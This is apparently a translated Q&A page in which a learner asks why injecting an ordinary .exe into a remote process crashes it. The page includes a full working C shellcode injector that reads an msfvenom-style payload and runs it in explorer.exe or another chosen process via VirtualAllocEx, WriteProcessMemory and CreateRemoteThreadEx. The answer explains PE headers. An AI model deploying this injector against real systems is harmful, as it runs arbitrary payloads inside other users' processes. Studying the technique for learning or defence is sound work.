为什么将正常的exe注入任何远程进程会导致其崩溃

问题描述 投票:0回答:1

最近在学习使用 C 进行进程注入的概念时,我注意到:

  • 如果我尝试读取

    msfvenom
    生成的 shellcode 文件并将其注入到任何进程中,我的程序将完美运行并获得所需的结果。

  • 如果我尝试读取任何正常的

    .exe
    文件并尝试将其注入到同一个进程中 - 进程每次都会崩溃。

最奇特的是我的注入器程序成功返回。这些字节被毫无问题地复制到目标进程中(我通过使用 Process Hacker 确认了这一点)。但是,当创建远程线程时,目标进程总是崩溃。

无论如何,

CreateRemoteThreadEx()
调用每次都会返回有效的
ThreadID
。这是为什么?

注意:我使用 64 位注入器将 64 位代码注入到 64 位进程中,该注入器是使用 Microsoft C/C++ 64 位编译器编译的。所以没有任何问题。

这是我的整个代码:

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <fileapi.h>

#define okay(msg, ...) printf("[+] " msg " \n", ##__VA_ARGS__)
#define fail(msg, ...) printf("[-] " msg " \n", ##__VA_ARGS__)
#define info(msg, ...) printf("[!] " msg " \n", ##__VA_ARGS__)

#define MAX_SHELLCODE_SIZE 4096

DWORD GetShellCode(LPVOID out) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    
    hFile = CreateFileA(".\\payload.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        info("Unable to open payload file");
        return 0;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        info("Unable to get payload file size");
        CloseHandle(hFile);
        return 0;
    }
    
    DWORD bytesRead;
    BOOL bSuccess = ReadFile(hFile, out, fileSize, (LPDWORD)&bytesRead, NULL);
    if (!bSuccess) {
        info("Unable to read payload file");
        CloseHandle(hFile);
        return 0;
    }
    
    CloseHandle(hFile);
    return bytesRead;
}

DWORD GetTargetID(const char* pName) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pEntry;
    DWORD pID = 0;
    
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    
    pEntry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapshot, &pEntry) == FALSE) {
        CloseHandle(hSnapshot);
        return 0;
    }
    
    do {
        if (strcmp(pName, pEntry.szExeFile) == 0) {
            pID = pEntry.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &pEntry));
    
    CloseHandle(hSnapshot);
    return pID;
}

int main(int argc, char *argv[]) {
    DWORD pID = 0, tID = 0;
    HANDLE pHandle;
    HANDLE tHandle;
    LPVOID xBuffer;
    
    if (argc < 2) {
        pID = GetTargetID("explorer.exe");
    } else {
        pID = GetTargetID(argv[1]);
        if (pID == 0) {
            info("Injector was unable to find the process you specified.");
            return EXIT_FAILURE;
        }
    }
    
    UCHAR shellcode[MAX_SHELLCODE_SIZE] = {0};
    DWORD codeSize = GetShellCode(shellcode);
    if (codeSize == 0) {
        fail("Failed to get shellcode from payload file.");
        return EXIT_FAILURE;
    } else {
        okay("Payload Size found : %ld", codeSize);
    }
    
    info("Injection Started. Opening remote process by ID: %ld ...", pID);
    pHandle = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pID);
    if (pHandle == NULL) {
        fail("Unable to open remote process. Error: (%ld)", GetLastError());
    } else {
        okay("Successfully opend the remote process with provided access.");
        info("Allocating %ld bytes of memory space to the target process.", codeSize); 
        xBuffer = VirtualAllocEx(pHandle, NULL, codeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
        if (xBuffer == NULL) {
            fail("Unable to allocate virtual memory in the target process. Error: (%ld)", GetLastError());
        } else {
            okay("Successfully allocated %ld bytes virtual memory space in the target process.", codeSize);
            int len = 0;
            info("Attempting to write shellcode into the allocated space (Address : 0x%p)", xBuffer);
            BOOL wrtSuccess = WriteProcessMemory(pHandle, xBuffer, (LPCVOID)shellcode, (SIZE_T)codeSize, (SIZE_T*)&len);
            if (!wrtSuccess) {
                fail("Unable to write shellcode to the allocated memory of the target process. Error: (%ld)", GetLastError());
            } else {
                okay("Successfully copied %d bytes into the the target process.", len);
                DWORD oldProtection;
                BOOL bSuccess = VirtualProtectEx(pHandle, xBuffer, (SIZE_T)codeSize, PAGE_EXECUTE, &oldProtection);
                if (!bSuccess) {
                    fail("Unable to change memory page protection status. Error: (%ld)", GetLastError());
                } else {
                    info("Attempting to start remote thread with the copied shellcode");
                    tHandle = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)xBuffer, NULL, 0, 0, &tID);
                    if (tHandle == NULL) {
                        fail("Unable to create thread with the copied shellcode in the target process. Error: (%ud)", GetLastError());
                    } else {
                        okay("Injection Successfull. Executed remote shellcode (ThreadID: %ld) in the target process.", tID);
                        CloseHandle(tHandle);
                    }
                }
            }
        }
        CloseHandle(pHandle);
    }
    return EXIT_SUCCESS;
}   
c winapi shellcode process-injection
1个回答
0
投票

ShellCode 仅包含机器代码,这就是为什么您可以在线程中按原样运行 ShellCode。

.exe
文件不仅仅是机器代码。线程从您告诉它的地址开始运行机器代码。如果您只是按原样注入
.exe
数据,然后在该数据的开头启动一个线程,那么该线程当然会崩溃,因为
.exe
数据不是以机器代码开头。它以一系列元数据标头和查找表开始。创建线程的 API 没有您告诉它运行的机器代码的概念,这就是 API 不会失败的原因。

© www.soinside.com 2019 - 2024. All rights reserved.